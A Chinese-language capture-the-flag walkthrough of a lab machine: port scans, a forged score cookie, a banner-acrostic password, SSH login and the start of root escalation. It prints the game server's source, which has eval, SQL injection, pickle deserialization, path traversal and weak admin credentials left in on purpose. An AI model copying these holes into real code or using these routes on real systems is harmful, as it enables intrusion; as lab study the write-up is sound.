


```
Completed Parallel DNS resolution of 1 host. at 22:47,
0.50s elapsed
DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 2, 0
K: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 22:47
Scanning 192.168.1.8 [3 ports]
Discovered open port 8080/tcp on 192.168.1.8
Discovered open port 22/tcp on 192.168.1.8
Discovered open port 21/tcp on 192.168.1.8
Completed Connect Scan at 22:47, 0.01s elapsed (3 total
ports)
Nmap scan report for 192.168.1.8
Host is up, received conn-refused (0.0061s latency).
Scanned at 2026-04-09 22:47:06 CST for 0s
```

PORT	STATE	SERVICE	REASON
21/tcp	open	ftp	syn-ack
22/tcp	open	ssh	syn-ack
8080/tcp	open	http-proxy	syn-ack

```
Read data files from: /opt/homebrew/bin/./share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.53 seco
nds
```

```
nmap -sV -p 21,22,8080 192.168.1.8
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-09 2
2:47 +0800
Nmap scan report for 192.168.1.8
Host is up (0.0054s latency).
```

PORT	STATE	SERVICE	VERSION
21/tcp	open	ftp	vsftpd 2.0.8 or later
22/tcp	open	ssh	OpenSSH 8.4p1 Debian 5+deb11u3 (p rotocol 2.0)
8080/tcp	open	http	Werkzeug httpd 3.1.6 (Python 3.9. 2)

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

```
Service detection performed. Please report any incorrect
results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.81 sec
onds
```

- 访问8080端口的web应用，页面显示达到1000分就可以通关。这里我抓了一下包提交了一下，发现他的cookie携带了一个 `user_score`，这里推测这个分数是通过前端传过去的，我们可以伪造这个值欺骗后端我们现在就是1000分。
 - 可以看到返回包进行了2次Set-Cookie，第一个为当前的最新分数，第二个为 `flag=111:banner`。

```
POST /api/submit HTTP/1.1
Host: 192.168.1.8:8080
Content-Length: 21
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://192.168.1.8:8080
Referer: http://192.168.1.8:8080/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: user_score=1000
Connection: keep-alive
```

```
{"id":1,"answer":"A"}
```

```
HTTP/1.1 200 OK
Server: Werkzeug/3.1.6 Python/3.9.2
Date: Thu, 09 Apr 2026 15:00:12 GMT
Content-Type: application/json
Content-Length: 56
Set-Cookie: user_score=1010; Expires=Fri, 10 Apr 2026 15:00:12 GMT; Max-Age=86400; Path=/
X-Current-Score: 1010
X-User-IP: 192.168.1.9
X-Request-Time: 8ms
```

```
Set-Cookie: flag=111:banner; Expires=Fri, 10 Apr 2026 1
5:00:12 GMT; Max-Age=86400; Path=/
X-Flag: 111:banner
Connection: close

{
  "score": 1010,
  "success": true,
  "total": 1000
}
```

- 这里我尝试使用了 `111:banner`，进行了ssh登陆，发现他是直接被拒绝，说明当前账户存在只是设置了nologin不允许ssh登陆。

```
# 输入密码错误的情况
ssh 111@192.168.1.8
111@192.168.1.8's password:
Permission denied, please try again.
111@192.168.1.8's password:

# 正确密码的情况，但是不允许登陆
ssh 111@192.168.1.8
111@192.168.1.8's password:
This account is currently not available.
Connection to 192.168.1.8 closed.
```

- 后续使用了ftp登陆成功，在当前目录发现就这个hint，里面的内容要我们关注banner中变化的内容

```
ftp 192.168.1.8
Connected to 192.168.1.8.
220-Wild                      Elephants                      Love
220-      / _ )`.
220-      / _ )^ )`. .----.
220-    ( _ , ' \ ^-)""'    \ \
220-          | |          | | \
220-          | |          | | |
220-          / \ /----' \ ( \ (
```

```

220-      < , " | |      \ \ \ \
220-      \ \ \ \ (      ) ) ) ) )
220-      | | \      | | / /
220-      | | \      | | - '
220-      |      |
220-
220-      |      |
220-
220-
220- Carefully observe the changes in the information above.
220
Name (192.168.1.8:root): 111
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> get hint
local: hint remote: hint
229 Entering Extended Passive Mode (|||10397|)
150 Opening BINARY mode data connection for hint (31 bytes).
100% |*****| 31
122.07 KiB/s 00:00 ETA
226 Transfer complete.
31 bytes received in 00:00 (4.09 KiB/s)
ftp> exit
221 Goodbye.

# 查看一下hint
cat hint
你知道什么是banner吗?

```

- 唯独第一行在变，收集 Banner 了如下，这里有一个分号联想到 `111:banner` 推测也是一个登陆用户名及密码，然后就发现每个单词首字母拼接后是这个结果：`welcome:mazesecc`，然后试了一下ssh登陆，发现直接登陆进去了。最终获取到第一个flag：`flag{user-509fe78ad30da7792f576cd3a91a57fc}`

```
Wild Elephants Love  
Clever Owls Make  
Elephants : Mice  
Amazing Zebras Eat  
Snakes Eat Crickets
```

```
ssh welcome@192.168.1.8  
welcome@192.168.1.8's password:
```

```
The programs included with the Debian GNU/Linux system a  
re free software;  
the exact distribution terms for each program are descri  
bed in the  
individual files in /usr/share/doc/*/copyright.
```

```
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to t  
he extent  
permitted by applicable law.  
id  
uid=1000(welcome) gid=1000(welcome) groups=1000(welcome)  
ls  
user.txt  
cat user.txt  
flag{user-509fe78ad30da7792f576cd3a91a57fc}
```

0x02 第二个flag

- 开始提权，这里我尝试了ps aux看了一下应用，比较关键的是这个root运行的python程序 `/opt/ctf-game/main.py`

```
ps aux  
USER          PID %CPU %MEM    VSZ   RSS TTY      STAT ST  
ART    TIME COMMAND  
root           1  0.0  0.5 164460 10360 ?        Ss   1
```

0:39	0:01	/sbin/init							
root		2	0.0	0.0	0	0	?	S	1
0:39	0:00	[kthreadd]							
root		3	0.0	0.0	0	0	?	I<	1
0:39	0:00	[rcu_gp]							
root		4	0.0	0.0	0	0	?	I<	1
0:39	0:00	[rcu_par_gp]							
root		6	0.0	0.0	0	0	?	I<	1
0:39	0:00	[kworker/0:0H-kblockd]							
root		8	0.0	0.0	0	0	?	I<	1
0:39	0:00	[mm_percpu_wq]							
root		9	0.1	0.0	0	0	?	S	1
0:39	0:04	[ksoftirqd/0]							
root		10	0.0	0.0	0	0	?	I	1
0:39	0:00	[rcu_sched]							
root		11	0.0	0.0	0	0	?	I	1
0:39	0:00	[rcu_bh]							
root		12	0.0	0.0	0	0	?	S	1
0:39	0:00	[migration/0]							
root		14	0.0	0.0	0	0	?	S	1
0:39	0:00	[cpuhp/0]							
root		15	0.0	0.0	0	0	?	S	1
0:39	0:00	[kdevtmpfs]							
root		16	0.0	0.0	0	0	?	I<	1
0:39	0:00	[netns]							
root		17	0.0	0.0	0	0	?	S	1
0:39	0:00	[kauditd]							
root		18	0.0	0.0	0	0	?	S	1
0:39	0:00	[khungtaskd]							
root		19	0.0	0.0	0	0	?	S	1
0:39	0:00	[oom_reaper]							
root		20	0.0	0.0	0	0	?	I<	1
0:39	0:00	[writeback]							
root		21	0.0	0.0	0	0	?	S	1
0:39	0:00	[kcompactd0]							
root		22	0.0	0.0	0	0	?	SN	1
0:39	0:00	[ksmd]							
root		23	0.0	0.0	0	0	?	SN	1

0:39	0:00	[khugepaged]							
root		24	0.0	0.0	0	0	?	I<	1
0:39	0:00	[crypto]							
root		25	0.0	0.0	0	0	?	I<	1
0:39	0:00	[kintegrityd]							
root		26	0.0	0.0	0	0	?	I<	1
0:39	0:00	[kblockd]							
root		27	0.0	0.0	0	0	?	I<	1
0:39	0:00	[edac-poller]							
root		28	0.0	0.0	0	0	?	I<	1
0:39	0:00	[devfreq_wq]							
root		29	0.0	0.0	0	0	?	S	1
0:39	0:00	[watchdogd]							
root		32	0.0	0.0	0	0	?	S	1
0:39	0:00	[kswapd0]							
root		50	0.0	0.0	0	0	?	I<	1
0:39	0:00	[kthrotld]							
root		51	0.0	0.0	0	0	?	I<	1
0:39	0:00	[ipv6_addrconf]							
root		61	0.0	0.0	0	0	?	I<	1
0:39	0:00	[kstrp]							
root		103	0.0	0.0	0	0	?	I<	1
0:39	0:00	[ata_sff]							
root		104	0.0	0.0	0	0	?	S	1
0:39	0:00	[scsi_eh_0]							
root		105	0.0	0.0	0	0	?	I<	1
0:39	0:00	[scsi_tmf_0]							
root		106	0.0	0.0	0	0	?	S	1
0:39	0:00	[scsi_eh_1]							
root		107	0.0	0.0	0	0	?	S	1
0:39	0:00	[scsi_eh_2]							
root		108	0.0	0.0	0	0	?	I<	1
0:39	0:00	[scsi_tmf_2]							
root		109	0.0	0.0	0	0	?	I<	1
0:39	0:00	[scsi_tmf_1]							
root		113	0.0	0.0	0	0	?	I<	1
0:39	0:01	[kworker/0:1H-kblockd]							
root		144	0.0	0.0	0	0	?	I<	1


```

0:39 0:00 [kworker/u3:0]
root      146  0.0  0.0      0      0 ?      S      1
0:39 0:00 [jbd2/sda1-8]
root      147  0.0  0.0      0      0 ?      I<     1
0:39 0:00 [ext4-rsv-conver]
root      180  0.0  0.8  57192 16572 ?      Ss     1
0:39 0:00 /lib/systemd/systemd-journald
root      204  0.0  0.2  21752  5268 ?      Ss     1
0:39 0:00 /lib/systemd/systemd-udev
systemd+  249  0.0  0.3  89036  6176 ?      Ssl    1
0:39 0:00 /lib/systemd/systemd-timesyncd
root      252  0.0  0.0      0      0 ?      I<     1
0:39 0:00 [ttm_swap]
root      253  0.0  0.0      0      0 ?      S      1
0:39 0:00 [irq/18-vmwgfx]
root      266  0.0  0.1   6736  2872 ?      Ss     1
0:39 0:00 /usr/sbin/cron -f
message+  267  0.0  0.2   7836  4352 ?      Ss     1
0:39 0:00 /usr/bin/dbus-daemon --system --address=systemd:
--nofork --nopidfile --systemd-activation --syslog-only
root      268  0.0  0.1 222784  4032 ?      Ssl    1
0:39 0:00 /usr/sbin/rsyslogd -n -iNONE
root      269  0.0  0.3  22360  7304 ?      Ss     1
0:39 0:00 /lib/systemd/systemd-logind
root      289  0.0  0.2   9588  5708 ?      Ss     1
0:39 0:00 /sbin/dhclient -4 -v -i -pf /run/dhclient.enp0s3.pid
-lf /var/lib/dhcp/dhclient.enp0s3.leases -I -df /var/lib/dh
root      295  0.0  0.1   6740  3124 ?      Ss     1
0:39 0:00 /bin/bash /usr/local/bin/sshd_config_monitor.sh
root      308  0.0  0.1   8556  3776 ?      Ss     1
0:39 0:00 /usr/sbin/vsftpd /etc/vsftpd.conf
root      310  0.0  1.4  37896 30296 ?      Ss     1
0:39 0:00 python3 main.py
root      311  0.0  0.0   2512   712 ?      S      1
0:39 0:00 inotifywait -m -e close_write /etc/ssh/sshd_

```

```

config
root          312  0.0  0.0  6740  244 ?          S    1
0:39  0:00 /bin/bash /usr/local/bin/sshd_config_monito
r.sh
root          313  0.0  0.0  5840  1824 tty1      Ss+  1
0:39  0:00 /sbin/agetty -o -p -- \u --noclear tty1 linu
x
root          322  0.0  0.3  13288  7752 ?          Ss   1
0:39  0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-1
00 startups
root          327  0.0  1.0 108880 21384 ?          Ssl  1
0:39  0:00 /usr/bin/python3 /usr/share/unattended-upgra
des/unattended-upgrade-shutdown --wait-for-signal
root          410  0.1  1.5 333104 32456 ?          Sl   1
0:39  0:02 /usr/bin/python3 /opt/ctf-game/main.py
root          557  0.0  0.0      0      0 ?          I    1
0:53  0:00 [kworker/u2:1-flush-8:0]
root          684  0.0  0.0      0      0 ?          I    1
1:00  0:00 [kworker/u2:0-events_unbound]
root          736  0.0  0.0      0      0 ?          I    1
1:05  0:00 [kworker/0:0-ata_sff]
root          821  0.0  0.0      0      0 ?          I    1
1:09  0:00 [kworker/u2:2-flush-8:0]
root          822  0.0  0.0      0      0 ?          I    1
1:09  0:00 [kworker/u2:3-flush-8:0]
root          831  0.1  0.0      0      0 ?          I    1
1:10  0:00 [kworker/0:2-ata_sff]
root          839  0.0  0.4  14508  8508 ?          Ss   1
1:11  0:00 sshd: welcome [priv]
welcome       842  0.0  0.4  15916  9004 ?          Ss   1
1:11  0:00 /lib/systemd/systemd --user
welcome       843  0.0  0.1 165376  2524 ?          S    1
1:11  0:00 (sd-pam)
welcome       862  0.1  0.2  14508  5688 ?          S    1
1:11  0:00 sshd: welcome@pts/0
welcome       863  0.0  0.2   8012  4860 pts/0      Ss   1
1:11  0:00 bash --rcfile /dev/fd/63
root          1655  0.2  0.0      0      0 ?          I    1

```

```
1:15    0:00 [kworker/0:1-events]
welcome      1686  0.0  0.1  11668  3332 pts/0    R+   1
1:16    0:00 ps aux
```

- 然后就看了一下这个python程序： `/opt/ctf-game/main.py`，发现他就是我们之前8080端口的应用并且存在多个漏洞，这里能直接提权的还是这个接口 `/api/serialize`，他是一个pickle反序列化接口，能够运行任意代码包括反弹shell，同时他又是以root运行，所以最终我们的权限就是root。

```
#!/usr/bin/env python3
# /opt/ctf-game/main.py
"""
CTF Game Server - 网络安全挑战赛
功能：每次重启清空所有记录，从0分开始
"""

from flask import Flask, render_template, request, jsonify, make_response, session
import os
import sys
import json
import pickle
import base64
import sqlite3
import hashlib
import logging
from datetime import datetime
from time import time
import atexit
import signal

# 配置日志
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',
    handlers=[
        logging.StreamHandler(sys.stdout),
```



```

    || 访问地址: http://localhost:8080
||
|| 重启清空: 每次重启后所有记录都会被清除 ||
||
||
|| =====
==||
||
||                          漏洞清单
||
|| [1] Cookie注入 (user_score)
||
|| [2] SQL注入 (/api/score)
||
|| [3] Pickle反序列化 (/api/serialize)
||
|| [4] 管理员弱口令 (/api/admin/update) ||
|| [5] 路径遍历 (/api/backup)
||
|| [6] 响应头篡改 (Set-Cookie)
||
|| [7] 不安全文件上传 (/api/upload) ||
|| [8] 信息泄露 (/api/debug)
||
|| [9] 不安全的eval (/api/score)
||
|| [10] 不安全的反序列化 (scores.json) ||
||
||
|| =====
||
||
|| ""
||
|| print(banner)
|| logger.info("CTF游戏服务器启动中...")
||
||
|| # 初始化Flask应用
|| app = Flask(__name__, template_folder='templates', stati
|| c_folder='static')
|| app.secret_key = os.urandom(16)

```

```

app.config['SESSION_TYPE'] = 'filesystem'

# 文件路径配置
BASE_DIR = "/opt/ctf-game"
SCORES_FILE = f"{BASE_DIR}/data/scores.json"
DB_FILE = f"{BASE_DIR}/data/users.db"
RESTART_FLAG_FILE = f"{BASE_DIR}/data/.restart_cleared"

# 确保目录存在
os.makedirs(f"{BASE_DIR}/data", exist_ok=True)
os.makedirs(f"{BASE_DIR}/logs", exist_ok=True)
os.makedirs(f"{BASE_DIR}/uploads", exist_ok=True)
os.makedirs(f"{BASE_DIR}/static", exist_ok=True)

logger.info(f"工作目录: {BASE_DIR}")
logger.info(f"数据目录: {BASE_DIR}/data")
logger.info(f"日志目录: {BASE_DIR}/logs")
logger.info(f"上传目录: {BASE_DIR}/uploads")

# 20道题目数据库
QUESTIONS = [
    {
        "id": 1,
        "type": "single",
        "question": "SQL注入攻击主要利用了什麼漏洞?",
        "options": ["输入验证不严", "XSS漏洞", "CSRF漏洞",
"文件上传漏洞"],
        "answer": "A",
        "points": 10
    },
    {
        "id": 2,
        "type": "multiple",
        "question": "以下哪些属于OWASP Top 10漏洞?",
        "options": ["注入", "失效的身份认证", "敏感信息泄露",
"XML外部实体"],
        "answer": "ABCD",
        "points": 10
    }
]

```

```

    },
    {
        "id": 3,
        "type": "fill",
        "question": "MD5('hello')的前6位是: ____",
        "answer": "5d4140",
        "points": 10
    },
    {
        "id": 4,
        "type": "single",
        "question": "以下哪种加密算法是非对称加密? ",
        "options": ["AES", "DES", "RSA", "MD5"],
        "answer": "C",
        "points": 10
    },
    {
        "id": 5,
        "type": "single",
        "question": "Linux中用来提权的常见命令是? ",
        "options": ["sudo", "ls", "cd", "cat"],
        "answer": "A",
        "points": 10
    },
    {
        "id": 6,
        "type": "multiple",
        "question": "常见的Webshell管理工具有哪些? ",
        "options": ["中国菜刀", "蚁剑", "冰蝎", "BurpSuite"],
        "answer": "ABC",
        "points": 10
    },
    {
        "id": 7,
        "type": "fill",
        "question": "默认的SSH端口是: ____",
        "answer": "22",
    }

```

```

        "points": 10
    },
    {
        "id": 8,
        "type": "single",
        "question": "以下哪个HTTP方法是安全的? ",
        "options": ["GET", "POST", "PUT", "DELETE"],
        "answer": "A",
        "points": 10
    },
    {
        "id": 9,
        "type": "multiple",
        "question": "XSS攻击类型包括: ",
        "options": ["反射型", "存储型", "DOM型", "SQL型"],
        "answer": "ABC",
        "points": 10
    },
    {
        "id": 10,
        "type": "fill",
        "question": "Linux的root用户UID是: ____",
        "answer": "0",
        "points": 10
    },
    {
        "id": 11,
        "type": "single",
        "question": "Nmap是什么类型的工具? ",
        "options": ["端口扫描", "漏洞扫描", "密码破解", "流量
分析"],
        "answer": "A",
        "points": 10
    },
    {
        "id": 12,
        "type": "multiple",
        "question": "常见的代理工具包括: ",

```



```

        "options": ["BurpSuite", "Fiddler", "Charles",
"Wireshark"],
        "answer": "ABC",
        "points": 10
    },
    {
        "id": 13,
        "type": "fill",
        "question": "Windows默认管理员用户名是：____",
        "answer": "administrator",
        "points": 10
    },
    {
        "id": 14,
        "type": "single",
        "question": "DDoS攻击指的是什么？",
        "options": ["分布式拒绝服务", "数据泄露", "中间人攻
击", "SQL注入"],
        "answer": "A",
        "points": 10
    },
    {
        "id": 15,
        "type": "multiple",
        "question": "信息收集阶段常用工具：",
        "options": ["whois", "nslookup", "dig", "ping"],
        "answer": "ABCD",
        "points": 10
    },
    {
        "id": 16,
        "type": "fill",
        "question": "MySQL默认端口是：____",
        "answer": "3306",
        "points": 10
    },
    {
        "id": 17,

```

```

        "type": "single",
        "question": "CSRF攻击利用了什么? ",
        "options": ["用户的登录状态", "服务器漏洞", "数据库漏洞", "网络协议"],
        "answer": "A",
        "points": 10
    },
    {
        "id": 18,
        "type": "multiple",
        "question": "常见的漏洞扫描器: ",
        "options": ["Nessus", "AWVS", "OpenVAS", "Nmap"],
        "answer": "ABC",
        "points": 10
    },
    {
        "id": 19,
        "type": "fill",
        "question": "HTTP协议中, 成功响应的状态码是: ____",
        "answer": "200",
        "points": 10
    },
    {
        "id": 20,
        "type": "single",
        "question": "以下哪个是哈希算法? ",
        "options": ["SHA-256", "AES", "RSA", "RC4"],
        "answer": "A",
        "points": 10
    }
]

```

```

logger.info(f"加载了 {len(QUESTIONS)} 道题目")

```

```

def clear_all_data():
    """清除所有数据和记录"""
    logger.info("清除所有数据记录...")

```

```

try:
    # 1. 删除数据库文件
    if os.path.exists(DB_FILE):
        os.remove(DB_FILE)
        logger.info(f"删除数据库文件: {DB_FILE}")

    # 2. 删除分数JSON文件
    if os.path.exists(SCORES_FILE):
        os.remove(SCORES_FILE)
        logger.info(f"删除分数文件: {SCORES_FILE}")

    # 3. 清空上传目录
    uploads_dir = f"{BASE_DIR}/uploads"
    if os.path.exists(uploads_dir):
        for file in os.listdir(uploads_dir):
            file_path = os.path.join(uploads_dir, fi
le)

            try:
                if os.path.isfile(file_path):
                    os.unlink(file_path)
                    logger.debug(f"删除上传文件: {file
_path}")
            except Exception as e:
                logger.error(f"删除文件失败 {file_pat
h}: {e}")

    # 4. 删除重启标志文件
    if os.path.exists(RESTART_FLAG_FILE):
        os.remove(RESTART_FLAG_FILE)

    logger.info("所有数据已清除完成")
    return True

except Exception as e:
    logger.error(f"清除数据失败: {e}")
    return False

```

```

def init_db():
    """初始化数据库（每次启动都会重新创建）"""
    try:
        # 清除所有旧数据
        clear_all_data()

        # 创建新的数据库
        conn = sqlite3.connect(DB_FILE)
        c = conn.cursor()
        c.execute('''CREATE TABLE IF NOT EXISTS scores
                    (id INTEGER PRIMARY KEY AUTOINCREME
NT,
                    ip TEXT,
                    score INTEGER,
                    timestamp DATETIME)''')
        conn.commit()
        conn.close()

        # 创建空的分数文件
        save_scores({})

        # 标记已清理
        with open(RESTART_FLAG_FILE, 'w') as f:
            f.write(f"数据清除时间: {datetime.now().isoformat()}")

        logger.info(f"数据库初始化完成: {DB_FILE}")
        return True
    except Exception as e:
        logger.error(f"数据库初始化失败: {e}")
        return False

def load_scores():
    """漏洞1: 不安全的分数加载 - 使用eval"""
    if os.path.exists(SCORES_FILE):
        with open(SCORES_FILE, 'r') as f:
            try:
                data = f.read()

```

```

        if data:
            return eval(data) # 危险! 这是故意的漏洞

    except Exception as e:
        logger.error(f"加载分数文件失败: {e}")
        return {}

    return {}

def save_scores(scores):
    """保存分数"""
    try:
        with open(SCORES_FILE, 'w') as f:
            json.dump(scores, f)
    except Exception as e:
        logger.error(f"保存分数失败: {e}")

def get_client_ip():
    """获取客户端IP"""
    if request.headers.get('X-Forwarded-For'):
        ip = request.headers.get('X-Forwarded-For').split(',')[0]
    else:
        ip = request.remote_addr
    return ip

# 记录是否是第一次请求
first_request = True

@app.before_request
def check_init():
    """在每个请求前检查是否需要初始化"""
    global first_request
    if first_request:
        first_request = False
        logger.info("首次请求, 初始化数据...")
        # 这里可以放初始化逻辑, 但我们已经提前初始化了

@app.route('/')

```

```

def index():
    """主页面"""
    logger.info(f"访问首页 - IP: {get_client_ip()}")
    return render_template('game.html')

@app.route('/api/questions')
def get_questions():
    """获取题目列表"""
    logger.info(f"API请求: 获取题目列表 - IP: {get_client_ip()}")
    return jsonify(QUESTIONS)

@app.route('/api/submit', methods=['POST'])
def submit_answer():
    """提交答案 - 存在多个漏洞"""
    start_time = time()
    data = request.json
    question_id = data.get('id')
    answer = data.get('answer', '')
    user_ip = get_client_ip()

    logger.info(f"提交答案 - 题目ID: {question_id}, 答案: {answer}, IP: {user_ip}")

    # 漏洞2: 从Cookie获取分数, 可被篡改
    cookie_score = request.cookies.get('user_score', '0')
    try:
        # 尝试从Cookie解析分数
        current_score = int(cookie_score)
        logger.info(f"从Cookie获取分数: {current_score}")
    except:
        current_score = 0
        logger.warning("无法从Cookie解析分数, 使用默认值0")

    # 检查答案
    correct = False
    for q in QUESTIONS:

```

```

        if q['id'] == question_id and str(q['answer']).upper() == str(answer).upper():
            correct = True
            current_score += q['points']
            logger.info(f"答案正确! 题目 {question_id} 得分 {q['points']} 分")
            break

    if not correct:
        logger.info(f"答案错误! 题目 {question_id}")

    # 保存到数据库
    try:
        conn = sqlite3.connect(DB_FILE)
        c = conn.cursor()
        c.execute("INSERT INTO scores (ip, score, timestamp) VALUES (?, ?, ?)",
                  (user_ip, current_score, datetime.now()))
        conn.commit()
        conn.close()
        logger.debug(f"分数已保存到数据库: {current_score}")
    except Exception as e:
        logger.error(f"保存到数据库失败: {e}")

    # 漏洞3: 分数存在响应头中
    response = jsonify({
        'success': correct,
        'score': current_score,
        'total': 1000
    })

    # 漏洞4: 设置Cookie, 但httponly=False
    response.set_cookie('user_score', str(current_score),
                        httponly=False, # 允许JS修改
                        max_age=3600 * 24)

```

```

# 漏洞5：在头部泄露敏感信息
response.headers['X-Current-Score'] = str(current_score)
response.headers['X-User-IP'] = user_ip
response.headers['X-Request-Time'] = f"{int((time() - start_time) * 1000)}ms"

# 修复：当分数达到1000时，设置flag Cookie
if current_score >= 1000:
    flag = '111:banner'
    response.set_cookie('flag', flag, httponly=False, max_age=3600 * 24)
    response.headers['X-Flag'] = flag
    response.json['flag'] = flag
    response.json['message'] = '恭喜你达到1000分！'
    logger.warning(f"用户达到1000分！ IP: {user_ip}, 分数: {current_score}")
    logger.warning(f"设置flag: {flag}")

logger.info(f"提交完成 - 正确: {correct}, 分数: {current_score}, 耗时: {int((time() - start_time) * 1000)}ms")
return response

@app.route('/api/score')
def get_score():
    """获取分数 - 存在SQL注入漏洞"""
    user = request.args.get('user', get_client_ip())
    logger.warning(f"SQL注入测试 - 参数: user={user}")

# 漏洞6：SQL注入
conn = sqlite3.connect(DB_FILE)
c = conn.cursor()

# 危险的SQL拼接
query = f"SELECT score FROM scores WHERE ip = '{user}' ORDER BY timestamp DESC LIMIT 1"
logger.warning(f"危险SQL查询: {query}")

```



```

try:
    c.execute(query) # SQL注入点
    result = c.fetchone()
    score = result[0] if result else 0
except Exception as e:
    logger.error(f"SQL查询失败: {e}")
    score = 0

conn.close()

logger.info(f"查询分数 - 用户: {user}, 分数: {score}")
return jsonify({'user': user, 'score': score})

@app.route('/api/admin/update', methods=['POST'])
def admin_update():
    """管理员接口 - 弱口令"""
    # 漏洞7: 弱口令验证
    auth = request.headers.get('Authorization', '')

    logger.warning(f"管理员接口访问 - Authorization: {auth}")

    if auth == 'Basic YWRtaW46YWRtaW4xMjM=': # admin:admin123
        data = request.get_json()
        new_score = data.get('score', 0)

        logger.warning(f"管理员权限验证通过! 设置所有用户分数为: {new_score}")

        # 更新所有用户分数
        scores = load_scores()
        for ip in scores:
            scores[ip] = new_score
        save_scores(scores)

        logger.warning(f"所有用户分数已更新为: {new_score}")

```

```

e}")
        return jsonify({'success': True, 'message': '所有用户分数已更新'})

        logger.warning("管理员接口访问被拒绝：未授权")
        return jsonify({'success': False, 'message': '未授权'}), 401

@app.route('/api/debug')
def debug_info():
    """调试接口 - 泄露敏感信息"""
    # 漏洞8：信息泄露
    logger.warning("敏感信息泄露接口被访问")

    info = {
        'scores_file': SCORES_FILE,
        'db_file': DB_FILE,
        'questions_count': len(QUESTIONS),
        'current_time': datetime.now().isoformat(),
        'server_path': BASE_DIR,
        'restart_cleared': os.path.exists(RESTART_FLAG_FILE)
    }
    return jsonify(info)

@app.route('/api/upload', methods=['POST'])
def upload_file():
    """文件上传 - 存在漏洞"""
    # 漏洞9：不安全的上传
    if 'file' in request.files:
        file = request.files['file']
        filename = file.filename

        logger.warning(f"文件上传尝试：{filename}")

        # 不安全的保存
        file.save(f'{BASE_DIR}/uploads/{filename}')

```

```

        logger.warning(f"文件已保存: {BASE_DIR}/uploads/
{filename}")
        return jsonify({'success': True, 'filename': filename})

    logger.warning("文件上传失败: 没有文件")
    return jsonify({'success': False})

@app.route('/api/serialize', methods=['POST'])
def serialize_score():
    """序列化接口 - pickle反序列化漏洞"""
    # 漏洞10: pickle反序列化
    data = request.get_data()

    logger.warning(f"Pickle反序列化请求, 数据长度: {len(data)}")

    try:
        # 危险的反序列化
        obj = pickle.loads(base64.b64decode(data))
        logger.warning(f"反序列化对象: {type(obj)}")

        if isinstance(obj, dict) and 'score' in obj:
            scores = load_scores()
            user_ip = get_client_ip()
            scores[user_ip] = obj['score']
            save_scores(scores)

            logger.warning(f"通过Pickle设置分数 - IP: {user_ip}, 分数: {obj['score']}")
            return jsonify({'success': True})
        except Exception as e:
            logger.error(f"Pickle反序列化失败: {e}")
            return jsonify({'success': False, 'error': str(e)})

    return jsonify({'success': False})

```

```

@app.route('/api/backup')
def backup():
    """备份功能 - 路径遍历漏洞"""
    # 漏洞11: 路径遍历
    file = request.args.get('file', 'scores.json')
    filepath = f"{BASE_DIR}/{file}"

    logger.warning(f"路径遍历尝试: {file} -> {filepath}")

    try:
        with open(filepath, 'r') as f:
            content = f.read()
            logger.warning(f"文件读取成功: {filepath}")
            return content, 200, {'Content-Type': 'application/json'}
    except Exception as e:
        logger.error(f"文件读取失败: {e}")
        return 'File not found', 404

@app.route('/api/stats')
def get_stats():
    """获取统计信息"""
    try:
        conn = sqlite3.connect(DB_FILE)
        c = conn.cursor()

        # 获取总提交次数
        c.execute("SELECT COUNT(*) FROM scores")
        total_submissions = c.fetchone()[0]

        # 获取最高分
        c.execute("SELECT MAX(score) FROM scores")
        max_score = c.fetchone()[0] or 0

        # 获取用户数
        c.execute("SELECT COUNT(DISTINCT ip) FROM scores")
        unique_users = c.fetchone()[0] or 0

```

```

        conn.close()

    stats = {
        'total_submissions': total_submissions,
        'max_score': max_score,
        'unique_users': unique_users,
        'questions_total': len(QUESTIONS),
        'max_normal_score': len(QUESTIONS) * 10,
        'target_score': 1000,
        'restart_cleared': os.path.exists(RESTART_FLAG_FILE)
    }

    logger.info(f"统计信息: {stats}")
    return jsonify(stats)
except Exception as e:
    logger.error(f"获取统计信息失败: {e}")
    return jsonify({'error': str(e)}), 500

@app.route('/api/health')
def health_check():
    """健康检查接口"""
    return jsonify({
        'status': 'healthy',
        'timestamp': datetime.now().isoformat(),
        'server': 'CTF Game Server',
        'version': '1.0',
        'restart_cleared': os.path.exists(RESTART_FLAG_FILE)
    })

@app.route('/api/reset', methods=['POST'])
def reset_all():
    """手动重置所有数据"""
    try:
        if clear_all_data():
            return jsonify({'success': True, 'message':

```

```

'所有数据已重置'})
        else:
            return jsonify({'success': False, 'message':
'重置失败'}), 500
    except Exception as e:
        logger.error(f"手动重置失败: {e}")
        return jsonify({'success': False, 'error': str
(e)}), 500

@app.errorhandler(404)
def page_not_found(e):
    """404错误处理"""
    logger.warning(f"404错误: {request.path}")
    return jsonify({'error': '页面不存在', 'path': request.path}), 404

@app.errorhandler(500)
def internal_server_error(e):
    """500错误处理"""
    logger.error(f"500错误: {e}")
    return jsonify({'error': '服务器内部错误'}), 500

if __name__ == '__main__':
    print_banner()

    # 检查依赖
    try:
        import flask
        logger.info(f"Flask版本: {flask.__version__}")
    except ImportError:
        logger.error("Flask未安装, 请运行: pip3 install flask")
        sys.exit(1)

    # 在启动时立即清除所有数据
    logger.info("服务器启动, 开始清除所有历史数据...")
    init_db()

```

```

# 打印API端点
logger.info("可用的API端点:")
logger.info("  GET  /                                - 游戏主界面")
logger.info("  GET  /api/questions                  - 获取题目列表")
logger.info("  POST /api/submit                            - 提交答案(漏洞)")
logger.info("  GET  /api/score?user=IP                        - 获取分数(SQL注入)")
logger.info("  POST /api/admin/update                        - 管理员接口(弱口令)")
logger.info("  GET  /api/debug                              - 调试信息(信息泄露)")
logger.info("  POST /api/upload                            - 文件上传(漏洞)")
logger.info("  POST /api/serialize                          - 序列化接口(Pickle漏洞)")
